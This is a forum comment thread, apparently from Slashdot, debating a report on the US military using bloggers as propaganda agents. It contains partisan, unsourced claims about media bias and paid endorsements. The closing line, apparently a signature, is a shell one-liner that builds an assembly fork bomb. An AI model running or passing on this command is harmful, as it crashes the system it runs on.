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US Military Explored Hiring Bloggers As Propagandists
Zeinfeld writes "Wired reports that one time Clipper Chip supporter Dorothy Denning wrote a report on using blogs for information warfare in 2006 (a report available from cryptome). Amongst the proposals were hiring bloggers directly as propaganda agents and using military media resources to 'make' a blogger posting favorable material. Notably, and most unfortunately absent from the report, is the very real question of whether the military should be manipulating domestic media." Is meme warfare just another battleground, or is this dirty pool?
Blogging is just another form of published media - it can be used for any reason. People have just been lured into believing blogs are personal posts from individuals.
Someone is going to be very busy...
How on earth anyone could be shocked by this at this point is beyond me. This kind of stuff is fairly benign next to the kind of stuff they do in SECRET. It's when they actually start talking about killing reporters to silence dissent that they REALLY get nasty.
SJW: Someone who has run out of real oppression, and has to fake it.
Did you think Dailykos.com endorsed candidates just because Markos thought they were decent people? Nope. Democratic candidates send him payola.
Of course, it might not be a good idea. Every candidate endorsed by dailykos has gone down to defeat.
And just what makes you think they're doing it for free?
Well, dailykos.com is on the record saying that they take money to endorse candidates.
It goes back, formally, at least to Woodrow Wilson and his Committee on Public Information. They recruited 75,000 - 100,000 (called Four-Minute Men) volunteers to give four-minute speeches supporting the case for war against Germany - including before hostilities between the nations.
Notably, and most unfortunately absent from the report, is the very real question of whether the military should be manipulating domestic media.
Not to mention the legality... The Hatch act still exists, to the best of my knowledge. And although people generally interpret it somewhat more liberally than intended, this seems like exactly the form of corruption targetted thereby... The executive branch, using federal funds to make the war look better, to improve the chances of McCain getting in come November.
Then again, since when has the current administration bothered with obeying all those pesky little laws? "Four more years - Why should the constitution matter this time?"
You are entirely right. But it appears that they (the rich people who run our plutocracy) have been pulling this disgusting stuff for most of my life, or more likely since before I was born.
And people wonder why I don't want to vote Democrat or Republican! How can we change our plutocratic republic back into a democratic republic?
-mcgrew
mcgrew's razor: Never attribute to stupidity that which can be explained by greedy self-interest
Except "loose lips sink ships" is not propaganda; it's just pithy advice.
American Heritage Dictionary
propaganda
n.
1) The systematic propagation of a doctrine or cause or of information reflecting the views and interests of those advocating such a doctrine or cause.
2) Material disseminated by the advocates or opponents of a doctrine or cause: wartime propaganda.
3) Propaganda Roman Catholic Church A division of the Roman Curia that has authority in the matter of preaching the gospel, of establishing the Church in non-Christian countries, and of administering Church missions in territories where there is no properly organized hierarchy.
Further reading: http://en.wikipedia.org/wiki/United_States_home_front_during_World_War_II#Propaganda_and_culture
Key sentence from the further reading: "By definition, wartime posters are naturally propagandistic".
Computers allow humans to make mistakes at the fastest speeds known, with the possible exception of tequila and handguns
Repaying the national debt.
"We will bankrupt ourselves in the vain search for absolute security." Dwight Eisenhower
http://www.mediaresearch.org/biasbasics/biasbasics3.asp KEY FINDINGS:
* More than half of the journalists surveyed (52%) said they voted for Democrat John Kerry in the 2004 presidential election, while fewer than one-fifth (19%) said they voted for Republican George W. Bush. The public chose Bush, 51 to 48 percent.
* When asked "generally speaking, do you consider yourself a Democrat, Republican, an Independent, or something else?" more than three times as many journalists (33%) said they were Democrats than said they were Republicans (10%).
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;